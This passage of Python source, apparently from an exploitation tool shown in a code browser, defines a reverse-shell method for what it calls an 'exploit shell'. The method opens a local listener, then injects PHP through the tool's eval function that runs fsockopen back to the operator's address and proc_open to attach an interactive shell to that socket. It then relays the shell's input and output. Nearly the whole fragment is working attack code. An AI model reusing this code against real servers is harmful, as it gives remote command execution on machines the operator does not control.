(self, options)
| 299 | @param options ip, target shell, and optionally, the port, space seperated. |
| 300 | """ |
| 301 | def _Base__reverse_shell(self, options): |
| 302 | if len(options) == 0: |
| 303 | raise CommandException("No must give a host. " |
| 304 | "Check help for usage.") |
| 305 | |
| 306 | ip = options |
| 307 | port = 5000 |
| 308 | if len(options.split(" ")) > 1: |
| 309 | ip, port = options.split(" ", 1) |
| 310 | |
| 311 | listener = socket.socket(socket.AF_INET, socket.SOCK_STREAM) |
| 312 | listener.bind((ip, port)) |
| 313 | listener.listen(1) |
| 314 | conn: socket.socket = None |
| 315 | |
| 316 | send_thread: threading.Thread = None |
| 317 | |
| 318 | stopped = [False] # there's probably a more efficient way to do this |
| 319 | stopped_lock: threading.Lock = threading.Lock() |
| 320 | try: |
| 321 | self.__eval(f"$s=fsockopen(\"{ip}\",{port});" |
| 322 | "proc_open(\"$0 -i\",array(0=>$s,1=>$s,2=>$s),$p);") |
| 323 | conn = listener.accept()[0] |
| 324 | send_thread = threading.Thread(target = send_loop, |
| 325 | args = [conn, |
| 326 | stopped, |
| 327 | stopped_lock]) |
| 328 | send_thread.start() |
| 329 | while True: |
| 330 | ans = conn.recv(1024 * 64) |
| 331 | if not ans or ans == 'killsrv': |
| 332 | conn.close() |
| 333 | break |
| 334 | sys.stdout.write(ans.decode()) |
| 335 | sys.stdout.flush() |
| 336 | except Exception as e: |
| 337 | print(str(e)) |
| 338 | finally: |
| 339 | listener.close() |
| 340 | stopped_lock.acquire() |
| 341 | stopped[0] = True |
| 342 | stopped_lock.release() |
| 343 | print("Connection closed.") |
| 344 | print("Press ENTER to return to the exploit shell.") |
| 345 | if send_thread and send_thread.is_alive(): |
| 346 | send_thread.join() |
| 347 |
nothing calls this directly
no test coverage detected